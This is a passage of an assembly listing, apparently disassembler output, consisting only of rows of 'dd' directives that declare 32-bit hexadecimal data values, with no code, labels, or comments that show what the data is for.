		dd 0F1733008h, 20F90B0Bh, 25BC529Fh, 200226ACh,	74225B92h
		dd 3C9B7F04h, 4185C2C8h, 0E92C20FBh, 37F84F05h,	7892B886h
		dd 8C848256h, 0F8A866BAh, 0E0B30BACh, 5B85D4A9h, 0F17CB43Bh
		dd 904D8300h, 52F4B824h, 626E0449h, 0FFA9C604h,	2FD4C430h
		dd 66D302BCh, 6A8595Ah,	5E0038D1h, 25D76CC6h, 34E63037h
		dd 0D0429798h, 8E094AE6h, 128622Eh, 72D403E4h, 0D9213063h
		dd 0BB14EF00h, 7022F296h, 7890B5B7h, 6E1E595Ch,	1CA67780h
		dd 93B6CA00h, 5470AD1h,	28F30F5Dh, 0A7AC90CFh, 0EA29C73Ah
		dd 3E9F98A1h, 2BC76DDEh, 0BCD2A9C4h, 3072B1h, 0DCAC2EB6h
		dd 845B8206h, 854E5800h, 22430726h, 245E5A1Ah, 4820EB58h
		dd 1EB486D9h, 0FB0D1CA9h, 0A890C181h, 3BFCE344h, 0F288C883h
		dd 0A87149h, 4450229Ch,	0C20EB315h, 60CA8F62h, 89D40EDEh
		dd 6C9003h, 40397A74h, 4190EF02h, 10C59Dh, 1DFD8FB3h, 0FB00C988h
		dd 9BCE2F7Eh, 0EAA6858Ah, 43C80753h, 2CA49551h,	98002F79h
		dd 0DDE3C0E4h, 12567DDCh, 0BC9E81E9h, 0B261D38h, 15A73D82h
		dd 40A40FD1h, 7A90F2C0h, 645FE28Bh, 628F670h, 0C0112996h
		dd 0F013977h, 89CC50B5h, 1BF149ABh, 9C5C8C51h, 220C213Bh
		dd 2309F043h, 3CFF2400h, 957FDF04h, 88DB4A6Eh, 1A847AA4h
		dd 88B938A5h, 0A1168C50h, 303745ECh, 73F14E67h,	708A8DAEh
		dd 324A6EAh, 0A4F38AC3h, 0E96EA788h, 0B0241F7Ch, 5D1140FDh
		dd 0F0519907h, 0B1EC41BAh, 0C44DD459h, 0FC389295h, 0BDEDC000h
		dd 0BA09FA01h, 56D5990Ah, 60DA6484h, 1F10DB4h, 727FDEBBh
		dd 8A6262Ah, 49E101D5h,	5CFB9AEh, 6E808ABDh, 141720C7h
		dd 0F9761403h, 0F8C78C81h, 994210E4h, 0CA20C1B9h, 7B6192h
		dd 0A84843A3h, 77015A95h, 0EC06B601h, 7EC6D586h, 0FF2E1C40h
		dd 5C35F048h, 86C0A4D3h, 0A3B40F95h, 12F3C700h,	3AE5AE85h
		dd 55C10029h, 0C601284Eh, 594E8F42h, 0A73948B3h, 48786700h
		dd 63C53005h, 1A88DD01h, 0B73AD685h, 0FD80CC28h, 0D2B10B29h
		dd 88F36D4Fh, 0AE60F400h, 11D0A281h, 10756901h,	0C08D25DBh
		dd 0CEB8002Ah, 0F104072Dh, 220814BDh, 2511730Bh, 402D5BD5h
		dd 180010C5h, 4EE20E29h, 0D74204AAh, 40F9FF7Bh,	31AC09B9h
		dd 0DDA6130Ah, 0DF50006Ah, 0A432ECABh, 90EA4FEAh, 218823FDh
		dd 81A99091h, 25E4B433h, 4EC0E47Ch, 3B848AFCh, 337D4300h
		dd 0C0DFB64Fh, 0B74606D1h, 4129106Eh, 41FC78A3h, 20400E99h
		dd 1A20E9D1h, 6550017Eh, 92103561h, 202EBAh, 4F3883h, 11CD95E0h
		dd 0FB931D9Ah, 5332F116h, 543AF200h, 9249D73h, 0EB043E5h
		dd 0C8005C44h, 0D74086A2h, 0E56B21Ch, 0FCF02284h, 84289565h
		dd 53B828F7h, 60DA7244h, 42C7B92Ah, 0C60183FFh,	0B291D3BBh
		dd 40D02101h, 5C98A45Dh, 100908DEh, 48EE4887h, 8160D63Dh
		dd 0CE18D0BAh, 42E033B3h, 58C02CD9h, 0DE30996h,	6A5B08C1h
		dd 5D29C070h, 4EEC04B5h, 0EAB4524Fh, 49B6F2C0h,	0D02901Fh
		dd 506B9889h, 2D642839h, 0B900183Dh, 9638027Ah,	4D70912Eh
		dd 0DEE03443h, 0BB1E4482h, 0DB00EF62h, 617C6318h, 0C63F256Dh
		dd 0EC64588Bh, 2078BA03h, 0A7AD8332h, 34824BC1h, 6084272Eh
		dd 0ACD62287h, 78E9E10Bh, 28E539h, 7ADB7DABh, 0C0F6411Fh
		dd 9E195867h, 43177CFAh, 0AB0F6488h, 75D4A0C0h,	0CE1D414h
		dd 4A59C0DEh, 806A81C2h, 23582500h, 562F265Dh, 0E7C100CBh
		dd 9137F304h, 61C348A8h, 0A143DEDAh, 142039BBh,	0E79A8846h
		dd 0A4E84801h, 45A7A2ECh, 27AB91D4h, 785340E4h,	5740209h
		dd 0A0804884h, 0E0354h,	5208867Fh, 47A60D4h, 0F5251171h
		dd 4418E44Dh, 6A02BCF8h, 0CCD6D3FDh, 40B45CB8h,	3B08220h
		dd 6816A77Fh, 70CCD369h, 1D22009Ah, 621CA56Eh, 0D100F34Ch
		dd 40E672A1h, 0B55F12Bh, 51D9667Eh, 5D92BCCBh, 91394400h
		dd 0DC459DBAh, 0C830DF00h, 17A688DEh, 851ECF7Dh, 2024978Ch
		dd 85B64227h, 0DADEB70Bh, 0A27CCCBAh, 1C31D57Dh, 34D9C03Fh
		dd 0B90E3576h, 8F9E91h,	1B0F4CB2h, 0A00A12DAh, 0D7B8F816h
		dd 0F67DBCC8h, 707BE0EDh, 5D7300D5h, 3D86BE7Eh,	0F30D758h
		dd 5141A828h, 41CB6F9h,	0B857AB75h, 0C68C13C4h,	1F723488h
		dd 0C07E49h, 36268BADh,	6100A2E4h, 707FE25Eh, 95112ACAh
		dd 0D54F3090h, 845F0BECh, 10A43C22h, 0B205A7DAh, 0F27D038h
		dd 2882B017h, 0F657254Eh, 753E1034h, 0A4217057h, 0ECB04412h
		dd 236E10BBh, 0E8804125h, 0A4B01230h, 83DFEC17h, 2C4184E1h
		dd 0F09A346Eh, 4F08157h, 0C81614E1h, 0F10FBC21h, 0A21D9C36h
		dd 23EA83BFh, 0E1F95A68h, 8B26F813h, 930830E9h,	35594612h
		dd 8F81F085h, 0A9A1F6A9h, 82238B90h, 110638Ah, 246E4448h
		dd 59D1A5B0h, 9DCC0A0h,	0F1EAB388h, 35B1B900h, 0DD8021ECh
		dd 0AC1A2F7Ch, 69A14091h, 67C5C004h, 87898Ah, 5159F33h
		dd 2A4BEB32h, 0B0002F6h, 0BFC57A3Ch, 13586BDCh,	41FBC83Ah
		dd 0F82199E0h, 81887C61h, 0CEC976FDh, 0CDB6C30h, 81517B49h
		dd 1E64E78Ch, 0C7406180h, 98776D85h, 0D674A27Ch, 0D82854B8h
		dd 0BB4E10DEh, 0B93E3400h, 2EDBC673h, 3D58276Bh, 0C0F66EC4h
		dd 400C548Ah, 68BD4F84h, 96DE6505h, 8F64467h, 38A48C4Eh
		dd 10C24025h, 79F8568h,	5ECB25F2h, 71B000B6h, 0B0043E0h
		dd 69CA0802h, 12F9E4D0h, 4456F6B8h, 83B1DB44h, 59005D10h
		dd 0A90C9BCh, 0B038D74Ah, 883A2670h, 0DEC64EF0h, 99008107h
		dd 0A9DAD431h, 489D1FF5h, 593C381Eh, 20430E03h,	385BFAE2h
		dd 9481FC32h, 65E00E0h,	4295F3F0h, 0B81DA373h, 65663E1Dh
		dd 75D7B00h, 5CA2F114h,	0B24F68BCh, 0EA8FE0h, 0A549C0D7h
		dd 3D320E65h, 2AE5525Eh, 1BE8327Ch, 9A00C859h, 0E5C4EE04h
		dd 0F30E2F10h, 47C209Ah, 0DD21DF40h, 0C32A003Ch, 0C839E05Ch
		dd 1297AE90h, 68C668h, 464C60EEh, 3705978Fh, 11A07302h
		dd 60680AACh, 70C6E464h, 88AA4F72h, 62016028h, 0A0295218h
		dd 0BCF4D331h, 2C3703F6h, 993A85Dh, 7444ABC5h, 2CFCC4A0h
		dd 1900D822h, 0AE926E02h, 51470Fh, 1341F774h, 273F28BAh
		dd 0F280D602h, 405B4D3Ah, 0B4F9884Ch, 4425C088h, 7207F1A4h
		dd 648EFE74h, 9F6C5D60h, 408B04BDh, 0C44B1886h,	4E2A0h
		dd 108C4328h, 0A6CE1Dh,	66414BD1h, 7A7851E6h, 6DB23E16h
		dd 97C170ECh, 230A4417h, 2EC0360h, 2ECEBF65h, 2C949CD8h
		dd 4EA9058Ch, 0BE109C40h, 0CD736500h, 8E9097Ch,	0CFE436h
		dd 13DCCA93h, 22AD61D4h, 0D10ABC00h, 519970B6h,	38A19DFEh
		dd 7056EB34h, 4102D3E2h, 0AE54EE63h, 74D988h, 0A58EA3D0h
		dd 0FE00B0F9h, 9D825799h, 2E68AA22h, 604874EFh,	69102CACh
		dd 84E431B5h, 6E0BA318h, 7647741Eh, 4F1391D8h, 0F6902C20h
		dd 1C9DFCE9h, 741D867h,	23B44577h, 0B3D33B65h, 3C6086D1h
		dd 25A50008h, 0A43527ABh, 6EF713DFh, 743030C7h,	0C809D6B2h
		dd 746F27BFh, 50242EE8h, 0BE001C76h, 739A150Dh,	0ECF09FFAh
		dd 323E003Bh, 0B2C5C663h, 0D52E6884h, 885B98C7h, 0F5422Fh
		dd 4A90D4Bh, 63C758C5h,	91DBBB00h, 8C820C3Bh, 1CC63B8Bh
		dd 898B027h, 0DD014BE3h, 0C13104D2h, 722A68C4h,	88201C64h
		dd 0F6A12D97h, 4FDA3EB7h, 0D90CD300h, 9666BB4Ah, 2DDD3409h
		dd 29C64ACh, 0E3467392h, 0C484A1F2h, 837F205Bh,	0C448078Bh
		dd 41DFB4A3h, 6BDA6EF3h, 0F2C59428h, 61B701CEh,	528F16B3h
		dd 4D4789Ch, 446B99B4h,	1023CB2h, 0DB6EA60Ch, 0A82E4D1h
		dd 7252C798h, 39816424h, 0FCEB234Ch, 81801CE8h,	0C5566D8Bh
		dd 9D68FE00h, 0CA3818C7h, 0E84550C3h, 0B84495F7h, 13475C22h
		dd 1F54A5BCh, 4A92FB00h, 9A4131Dh, 2CD984A3h, 0C0C85510h
		dd 442CDC40h, 0C1182D84h, 958CB081h, 57F030CEh,	0F924EC12h
		dd 121400C2h, 79274C7Ch, 0C2F20078h, 0B12099C9h, 574E400h
		dd 0BB15D13Fh, 0EC22FFB6h, 0A75C2916h, 96B005F4h, 6412E1FCh
		dd 6063E016h, 57F18A33h, 4B58DC90h, 7AC43Ah, 483234B0h
		dd 0CB49113h, 0BAFDDC36h, 6E085DB1h, 455E6210h,	0D758A40Ah
		dd 30898E00h, 0D9ECA766h, 485F31AAh, 4143D238h,	7B9BAB94h
		dd 7FF8EC8Dh, 51091F57h, 0C6770025h, 261BF310h,	9640A896h
		dd 0CC24BBh, 643DF79Ch,	420D3CC7h, 535F3204h, 81C4AA83h
		dd 0E3F58027h, 2EB0A4h,	0D1E5678Eh, 9139BB62h, 88FFA829h
		dd 11451ADh, 54FE8211h,	30123F20h, 0BA924C8h, 0DCC4A321h
		dd 8401548Fh, 917635FBh, 7D002829h, 0FA0EB275h,	22953952h
		dd 20DF239Ch, 6DF4D9C7h, 0F1BA832Dh, 84FC8084h,	0E8713AD0h
		dd 0F50086E4h, 0DB97FA98h, 22E9636h, 0EA331E6h,	5C822122h
		dd 4882ADCDh, 0F479923Ah, 0A48BDB11h, 6FAB3CE9h, 36C82020h
		dd 891155Bh, 500744C2h,	0D0F8067Dh, 34480F2Fh, 2B043AF0h
		dd 0CC0A7455h, 0CC203489h, 0D5B2125Dh, 0D343090h, 0DC8992FAh
		dd 89B76820h, 183D0ECh,	0D4D46095h, 81BA13FAh, 2A543007h
		dd 3700904Dh, 88466A45h, 76250A7Eh, 9498BD91h, 60E3BF5h
		dd 0F601D565h, 0A45888h, 0A2F7D167h, 0ED08948h,	84EBDA01h
		dd 0D96EBAD4h, 40278C23h, 0DE286498h, 4052A12Fh, 28D406C8h
		dd 73107BDBh, 3E39DE90h, 0A7001B5Ch, 5E0F23EAh,	0E8B711B9h
		dd 0C7187E0h, 8ED67B7Eh, 8F74EE70h, 1CDFA50Ah, 1826C8C0h
		dd 0AC580469h, 0C55EBC80h, 145210C6h, 0DD6E17A5h, 0FBA048B8h
		dd 1D0054EFh, 0F3905E93h, 1F21113Dh, 47D2F644h,	67A650A2h
		dd 0E287B8FEh, 98F0BA04h, 762BA7h, 0F2174594h, 9C7A6AE6h
		dd 71C01027h, 5EED40A8h, 9A029DB2h, 94A9527Ah, 92C1E00Bh
		dd 0A89C09C4h, 9C504F8Fh, 25724412h, 0BBC70420h, 0F3914FA5h
		dd 0E1E850DCh, 0EF9EC00h, 0BD87BC69h, 0F5C4AAF6h, 8151A416h
		dd 9C9C2E94h, 0DD4286C7h, 75B9057Fh, 0E2E4BA9Eh, 0A4A24B00h
		dd 0D25F9B80h, 737E4225h, 3231861Fh, 52C98F05h,	0A2ECE4h
		dd 569CD590h, 0D0533311h, 2691A091h, 0B9ACEF09h, 3F17E8C4h
		dd 6005E0E4h, 0E0EE6878h, 110071A8h, 0E3EFD374h, 446B310h
		dd 9E4CBA41h, 220E2AEh,	0C6D421F1h, 0B04C68E8h,	109D16A5h
		dd 8020A2F8h, 0E31C3FEDh, 0A066001Eh, 0EC439BBDh, 0CAB0A440h
		dd 9CA9BC07h, 448B9E4Fh, 21C343FCh, 0B48514AEh,	90A64Fh
		dd 0A8DA6996h, 44370ACh
		dd 8A21F4D8h, 25D0FD85h, 0B65468BEh, 0F8A54BE3h, 8F1B058Eh
		dd 5CB2F3D1h, 6ADD3A76h, 0D571EC00h, 3DA758C2h,	74644F54h
		dd 0F7EFDA00h, 0F8962FE4h, 7E6A0039h, 0FAE99012h, 9D0328D4h
		dd 0CC0DA999h, 72C680D7h, 0EF463036h, 0DC3A5A08h, 1414B7h
		dd 8C656D33h, 3938A671h, 0DB7BCB00h, 4AD87803h,	0EDF10BE0h
		dd 0B0E69852h, 0B1D9E12h, 6850FCBCh, 46872510h,	0BB009446h
		dd 9F4FAE3Bh, 91208A0Eh, 13599130h, 10F35D9Eh, 0A2C37C28h
		dd 35CD1C0h, 7017B2B5h,	0B4AAFFF8h, 0D2760300h,	66BE2DA1h
		dd 0CF640975h, 0D4C42BE1h, 7FE6E005h, 0E0C5C696h, 1C21F0A1h
		dd 2A40B882h, 0F87E1011h, 0EC217644h, 7CC8E1A9h, 20AC9744h
		dd 0C0537CC5h, 0B46F0972h, 0A6860D04h, 18F89CA1h, 0FCDB0A80h
		dd 75EC7A81h, 409DF101h, 0D16E2E41h, 51E423Ch, 601CE45Fh
		dd 0B42413CCh, 52494B01h, 84FA3B30h, 0E43303F5h, 9A553400h
		dd 0CE6F71Dh, 7E24A7F2h, 0C5277C0Fh, 526A0054h,	0D889E82Ah
		dd 8A8804EAh, 0B09D0354h, 77C1FB15h, 38F00FF2h,	0B495118h
		dd 0EF9C969h, 94914D07h, 86643081h, 0E428CD34h,	0D91338B9h
		dd 0E80876D7h, 3C68E4Fh, 0E9A0E053h, 3C05252h, 0AE6BB975h
		dd 88A8890Fh, 0A0AB6830h, 0CCBC68h, 0BB90DF0h, 8C613A4Bh
		dd 0F82C0E5Eh, 0D82F5F13h, 0E2149894h, 8F968Eh,	880ACC04h
		dd 3C21990Dh, 8002C0E1h, 1C2E6025h, 7D88325Dh, 0C83F9C99h
		dd 1032092h, 8645215h, 14C390CCh, 0A739122Dh, 15A4D054h
		dd 0DE5AC24Ch, 0A48028B3h, 333E96ECh, 0C540F89Eh, 1148E2h
		dd 0A9B3CB53h, 16E686EFh, 0DD051A90h, 5BE424F3h, 478060C1h
		dd 19B4D83Ah, 0D29D3900h, 244B9CDFh, 0DD0119ECh, 659678DCh
		dd 0A8017A74h, 433D2B9Eh, 0BC290880h, 0CBC7B5E9h, 400E810Bh
		dd 3CF152h, 1E08768Ch, 0B10E56C9h, 7DCE04BAh, 80129952h
		dd 818F9070h, 38DA0340h, 19698E75h, 2FA98BA8h, 0FFA7510Ch
		dd 7DA9FEh, 0A2BEA645h,	5CBDDEB7h, 71E60B02h, 5DEE8AB3h
		dd 9AA04588h, 0C4FEC0B4h, 15101247h, 0B01851D1h, 0EA8C03C1h
		dd 0F30CD629h, 783ADC98h, 0A4D0930Bh, 0FE18096Ch, 3E3760DCh
		dd 0C50049DDh, 0F895B199h, 1E17EAh, 0ACC0F98Ch,	24BAF375h
		dd 6EF79C0Bh, 745099DAh, 509FE18h, 404AA19Eh, 2654B94h
		dd 1504EE5Eh, 687A19FCh, 14846B5h, 38430EA5h, 488EEE11h
		dd 6E27BCC0h, 904828C7h, 454C3C60h, 7F218h, 0CE1C79Ch
		dd 21CBED7Fh, 0B40383Fh, 478A0ECh, 38FADBD0h, 0D4780E24h
		dd 0B1111465h, 36630C8h, 1C2BDC29h, 54721DB5h, 4BB83007h
		dd 0C1F7A318h, 2F1A0590h, 0F8390C98h, 69B0C30Ch, 0B553FB0Ch
		dd 0BD5DD159h, 908489h,	6DEFFCABh, 20884BE4h, 6A08030Ah
		dd 7B83C2D9h, 574D53B8h, 3A467402h, 90A524DEh, 0A107A4ACh
		dd 460F194h, 673988A1h,	0ECD0892Eh, 0A0A3C180h,	908FE611h
		dd 20F21264h, 0D2E88225h, 6C24BC28h, 30AE9945h,	2112DC18h
		dd 0B1483898h, 269E8070h, 101AF1h, 0AFCC41F5h, 2AAADB1Ch
		dd 1EE66009h, 287977h, 0A1AE89EAh, 0B001B654h, 597A957h
		dd 77CC153Bh, 0A04E4A11h, 1E2CDCFDh, 0B788545Ah, 0EE0F022Eh
		dd 0F0952h, 85DA66CFh, 0BCFF0093h, 0E9A54440h, 0AC03C9B3h
		dd 0A6EC3526h, 0FCD1268Ah, 4349403Ch, 0C700A9F8h, 0A3CB25B8h
		dd 4F78E53h, 0D42329E9h, 214C9083h, 9496EFB4h, 0EA41EC9Ch
		dd 0AB9AFCADh, 4C0A5C24h, 542F9CACh, 0D484A899h, 36029D01h
		dd 0A1A8DBF4h, 540CF009h, 13A5C895h, 60C2425h, 388CA81Dh
		dd 43F46EBFh, 0A70C13A2h, 5E0D1020h, 424A0031h,	1E431159h
		dd 0E4007639h, 0BF4486BEh, 975DB941h, 0CB00C844h, 0E1EF838Fh
		dd 363FE24h, 0B0A048C6h, 8DC89495h, 3E257546h, 0AC445Ah
		dd 9A8B2E67h, 6766BA0h,	0FEF2FFF2h, 0A04F2220h,	4F8CEEB8h
		dd 0F5832A8h, 25199060h, 91B0BC00h, 0DCEF24B2h,	0F8FF58C4h
		dd 9C88AE0Bh, 0BEEC5880h, 522FC6D5h, 11C8D955h,	0A3D09DDh
		dd 9B04DF6Ah, 0F2BEC021h, 0C7016B2Ch, 3AA23674h, 39A80879h
		dd 0B7CC4BFCh, 36950064h, 82A983DCh, 80E60396h,	4B4922D2h
		dd 1F974A00h, 79B70184h, 0EC550017h, 54C62A92h,	6403F7D6h
		dd 67205AD0h, 5825806Eh, 3656001Ah, 0FB741E82h,	15004ECFh
		dd 0CE3B24Ah, 840655h, 11178E52h, 71121F60h, 3B35F44Ch
		dd 707A1EF9h, 4C2B1440h, 0F72AA1h, 30D8889Eh, 56A4D46Ch
		dd 73BA9700h, 7B71178Dh, 7448C05Fh, 0F00B2B85h,	75E04700h
		dd 89970AC0h, 0BADA0042h, 0A38A3784h, 9D072563h, 59170777h
		dd 10F66E40h, 1D6100F0h, 13D97330h, 0AA0C087Ah,	581A0CDCh
		dd 0E6771B8Dh, 0D8C07066h, 8C3CB9E2h, 0BF7681E4h, 10CDF789h
		dd 99B2881h, 0C01DA8FBh, 730063DCh, 39AF0A3h, 0EE6F2571h
		dd 30C1019Fh, 357AF67Fh, 2D608129h, 0A27C7059h,	0DAA5C980h
		dd 3ED6427Fh, 0CC364400h, 80E1C0B2h, 81BD3B6Eh,	0DDDF7C0Fh
		dd 0B03B8EEFh, 0F5980685h, 0B20089CAh, 0FCE5CE87h, 0D9D8EBh
		dd 2D604528h, 0C559D676h, 0DDE97418h, 0DC9DD1h,	0ECB805A6h
		dd 1D807098h, 51685Ch, 0D0734AF9h, 0ABAA4B56h, 8B59A1B8h
		dd 0E4DC317h, 0A606707Ch, 1F2C890Ch, 1ECE0011h,	9E40A33Ch
		dd 0CF003E38h, 0FF94130Ch, 664A5666h, 0C8712961h, 0D4E8C618h
		dd 39092291h, 4B3B759Eh, 160F2062h, 0E1CC4A0h, 17069C5Ah
		dd 0CEF8D48Fh, 0D38600F1h, 0C8C78454h, 0A803120Eh, 4056711Eh
		dd 0F9690F18h, 0E8B4D6DCh, 30009C90h, 7F67156h,	0E10FAC75h
		dd 92D8FAD7h, 9FF1EB07h, 73117A60h, 92DF01C8h, 0E816C66Ch
		dd 34A980A3h, 0C3A89510h, 1C8A005Eh, 2C93F484h,	560ACCEAh
		dd 948C2B38h, 20604F42h, 0A7AFF371h, 7DB0F905h,	0AC409018h
		dd 0EAC21311h, 0BF689169h, 0D44DA680h, 0E4C3141Ch, 0DEDA0F00h
		dd 1F814222h, 937324B6h, 1B590080h, 0A92D6C9Ah,	30AD4507h
		dd 79FF676h, 0D11091A3h, 607C216Dh, 0D4A25958h,	0BF7333CCh
		dd 0C1A57D1Fh, 0CF027CA4h, 0A37B1106h, 0E8A1E414h, 0F481690Bh
		dd 63700AB7h, 1D6C8E5Dh, 58E4224Eh, 9C06B10Ch, 617BD1C5h
		dd 0FEE629A0h, 85A8EC75h, 26979400h, 0A52C5AF6h, 0EB1500F0h
		dd 278E1E04h, 680677C1h, 622FD359h, 0EAAB0759h,	80BC983Eh
		dd 1CA5FE5Ch, 0C8A45D00h, 202BCE06h, 0BF0E0A30h, 11B41471h
		dd 0DBE8191Dh, 30303A89h, 0E75003CFh, 937B779Fh, 0D60E9900h
		dd 0C948FAA8h, 0A2EF2E43h, 0FE9B023Ch, 0CC90E928h, 9AF8100Ah
		dd 0CF00FBB0h, 1306DD70h, 4CB0F36Bh, 2D0C585Fh,	0E618DE1Dh
		dd 7A0C2090h, 30B149DFh, 49DC60EBh, 0D1FD778h, 4400E4FCh
		dd 0CEED6C70h, 4DE226Dh, 0F89AB74Ch, 636890CFh,	9C01E424h
		dd 26349652h, 0B8405394h, 80681593h, 8E0758F4h,	2593577h
		dd 7C6D70F1h, 71FBC63Fh, 673AA61Fh, 0DA390078h,	0BB377CCh
		dd 55F60A93h, 8394092Ch, 7CDD5B2Eh, 386E69E0h, 2DE44100h
		dd 0F513564Ch, 28056102h, 2034061Bh, 7340B5A8h,	90552AAAh
		dd 4AC803A4h, 0CCF8140Bh, 50E5C100h, 9A177B7Eh,	0FE261221h
		dd 55083070h, 5D00FDB2h, 2EE1C75Bh, 0A3EE24h, 5F4EA2C1h
		dd 0AC2FEB7Fh, 0F08269DCh, 64E802CEh, 572200C0h, 0F8CAA23Fh
		dd 0CC909367h, 2D637700h, 12FB4AC5h, 9A4300D8h,	0EB962B13h
		dd 7760DA47h, 2A0691F8h, 0DD49C3D0h, 0B17CC30Dh, 40F8E352h
		dd 0A518C1A4h, 0F8B15B4Eh, 1F749204h, 0CEE0DB2Eh, 0BC47C4C8h
		dd 0FBCA1012h, 7800E584h
		dd 0D8BE450Eh, 372187h,	25032723h, 0A57E8680h, 1F11BF67h
		dd 0E43CF103h, 19AC4C06h, 41391700h, 53BE029Fh,	6E5A0798h
		dd 303E1A56h, 0FCCBFAE1h, 88184F70h, 87580AFFh,	0AD16037Eh
		dd 40326586h, 0BFB28F83h, 0BE40A924h, 0B553D1BBh, 3D65DD3Eh
		dd 8718638Ch, 0A1713Eh,	3A2B4850h, 0D3BDDB53h, 9470D21Ch
		dd 518AFE0Ch, 358730C5h, 820FC231h, 74660B48h, 0F5FBF800h
		dd 3870E3DCh, 0F2A7C21h, 8561B201h, 0A5D12E00h,	0F0C030A3h
		dd 1BDABE66h, 0B6AA3370h, 599E87A1h, 6C7FE300h,	8B518A14h
		dd 33783CBFh, 52669A0Eh, 44C1D400h, 0A50C2FBDh,	0F080218Eh
		dd 3CC98B94h, 1B498E26h, 83A4CF8Ch, 8DFB170h, 6B1E8B69h
		dd 37481E3Eh, 89FCB680h, 5408F02Ah, 0B8C5C8CBh,	0BC38C83Eh
		dd 0B0E40A87h, 0BDE58C7h, 0A2C303BEh, 3C08A531h, 561E8C3Dh
		dd 0AD038C61h, 0A3BADCBCh, 2FD78144h, 0A4095A08h, 1F0ED1h
		dd 0AF826114h, 8FB307A9h, 0E0402A02h, 1F42BB58h, 0A7EA1E01h
		dd 3B727080h, 9B594180h, 480B3D3Fh, 4F904100h, 268AF515h
		dd 0B83262D0h, 87032830h, 0A199023Ch, 58643E1Bh, 6D5AE460h
		dd 488C8600h, 0A6AF90EFh, 0E69C0095h, 2F71F03Ch, 9330B2D1h
		dd 0A523702Ah, 9CC00799h, 0A391118Bh, 20B82254h, 0D5E0FF5Dh
		dd 11842D52h, 87002551h, 0E824BE20h, 0A8544C0Dh, 4D3A06A4h
		dd 52058770h, 0D091C645h, 32C8C555h, 0CC850922h, 340709BDh
		dd 1E0A08C9h, 4680A852h, 3649311Fh, 8360005Ch, 33E8B279h
		dd 0C661B770h, 541EE061h, 3A0F318Eh, 0FBC30057h, 7BF67E26h
		dd 7D1EA418h, 0E91C21h,	8DB03A95h, 68117440h, 44CFE200h
		dd 0F9EE308Bh, 0E41F047Bh, 88868E2Eh, 0C600017Ch, 3C21A264h
		dd 98C0248Ah, 3D7EF7h, 48B550FCh, 27574CD9h, 4500C0AEh
		dd 203DD1AAh, 31BA4Eh, 5F6AF078h, 7F7939BBh, 874E61BDh
		dd 4C314CC3h, 0A792E100h, 6F943149h, 0D5F6A102h, 93C3080Fh
		dd 5D40FCACh, 443BAF8Fh, 432BC61Dh, 0A8D0B930h,	72F1C57Ah
		dd 13D44234h, 0A640A11Dh, 15008DB1h, 7B1CCC1Bh,	0C04219Eh
		dd 28872620h, 39002D89h, 2A4A58FEh, 30AC8B0Fh, 8E083172h
		dd 0D6E0BD35h, 2959736Fh, 6EC01023h, 0D1C401CAh, 3FCC98B0h
		dd 1EAFDC0Ch, 60088738h, 0A01FCD31h, 41820B79h,	0E00C0DDh
		dd 0FC909123h, 66B5D0Ah, 0B860D88Ch, 43D4C63h, 919FAF5h
		dd 80268497h, 69622A8Dh, 1F1A3107h, 0D1C58204h,	4CE98C47h
		dd 71CDB9F0h, 94E460h, 0BA3122BEh, 0F3AD48D9h, 3C0A262Eh
		dd 1338F021h, 0A029898Ch, 24985E8h, 0ED99357Fh,	468811Dh
		dd 39C06486h, 0B5A54107h, 341F0130h, 9A049BE7h,	0C3286h
		dd 0CFCEEE64h, 5CF6D44Ah, 1D186311h, 2987619Bh,	573A29C0h
		dd 717538h, 3D7850A9h, 0C00D5A0Eh, 4824304Ch, 0BEAD119Ch
		dd 0FA136848h, 2D1048B9h, 2BB1CF81h, 0B5FDC128h, 343041C1h
		dd 7209908h, 904B18EDh,	0A339475h, 4870FF03h, 8167C478h
		dd 0E8482E83h, 621F843Eh, 0B024324Dh, 34192A60h, 779D00D3h
		dd 3B2ECC08h, 7801C2A1h, 700B255Dh, 7042B9BBh, 0A7442036h
		dd 32005E08h, 7FD7FCE5h, 714BC49Bh, 260F0EE1h, 93CC8C0Ch
		dd 0A0892488h, 0C0708430h, 0CE786F79h, 0B103856Ah, 0DC4E201h
		dd 791BF9A8h, 998C2E20h, 692587B4h, 0E4004920h,	87E0323Ch
		dd 0AA6080B0h, 8F296799h, 0B535CA0h, 19CF4D18h,	3F3F4EEFh
		dd 1A83DEBh, 5235D191h,	0AF20F636h, 86C20772h, 1A47022h
		dd 87BF8E8Dh, 71F2D4A9h, 3A2883h, 1CF787F1h, 0A7D29FBDh
		dd 3F681E0Ch, 382531BEh, 0D960A8D1h, 0F3875D66h, 0F6B80155h
		dd 0C0125842h, 0F0107462h, 0AC6FD1C5h, 0BCB81B29h, 8FF0AB40h
		dd 0FD003FF6h, 46774357h, 6AB66Dh, 127C6515h, 8721E51Ch
		dd 25567EB0h, 2B1A00E8h, 1982E28Ch, 24730142h, 78859F5Eh
		dd 23D860B2h, 0E48BB800h, 6F67C5A9h, 12F8DC4Dh,	4CE821E8h
		dd 8089B8D0h, 66CDE18Fh, 174B32Bh, 0AC30149Ch, 0ED1D091Bh
		dd 3D9C43EBh, 1A8E390Ah, 7E114835h, 0C9442E00h,	0C4543E9Ch
		dd 0DC78C379h, 0BB841304h, 14916E83h, 3180691Eh, 9ED58FA0h
		dd 0B0B897BDh, 9837F029h, 7082A790h, 1F27BFB0h,	5F0791Dh
		dd 98501A5h, 87A833D4h,	0B0389D79h, 7F3FCF00h, 0B81F6437h
		dd 0ED5D0AB4h, 40C80B7Eh, 93CA2E6Dh, 630053EEh,	74ED1C0Fh
		dd 0B78A520h, 0FB59B34Ch, 0FA2720A0h, 26358E65h, 5867792Bh
		dd 0F89929C6h, 0EAA31DE4h, 0A6B96FCh, 91183FACh, 0AC6C5033h
		dd 0D124CE06h, 0A119EEB3h, 498CCD4Bh, 5B392A87h, 9271B300h
		dd 72C77301h, 3A5707AAh, 626445F5h, 8C8570C0h, 121C60E6h
		dd 4B0EF5DDh, 0E049FCF6h, 793395FFh, 0EE8A0BF4h, 30101EABh
		dd 8300B7B2h, 0FADF3D2Bh, 1EF23471h, 0C05BFB52h, 4DAE64AAh
		dd 9C9A193Bh, 0F7B30344h, 0D6F059C1h, 41B80012h, 76B96FE0h
		dd 24024750h, 5A366606h, 74F8E6ACh, 0E348946Fh,	41E0967Ch
		dd 0FE0071DEh, 463705CCh, 5C4FFD48h, 0B902ED7Bh, 55F03DC5h
		dd 6AB3BC40h, 84C3784h,	46BDC3F9h, 721938h, 1CA07E0h, 838463h
		dd 0BD66E45Dh, 0B38EAE99h, 59A63C00h, 50E6420Fh, 0F3E31CDFh
		dd 39635820h, 8C0AE11h,	5BEA4878h, 0AC3C006Eh, 0CB70DFD8h
		dd 0C000B0F6h, 0E3076D69h, 0F6B3450Ah, 23B704A7h, 8751863Bh
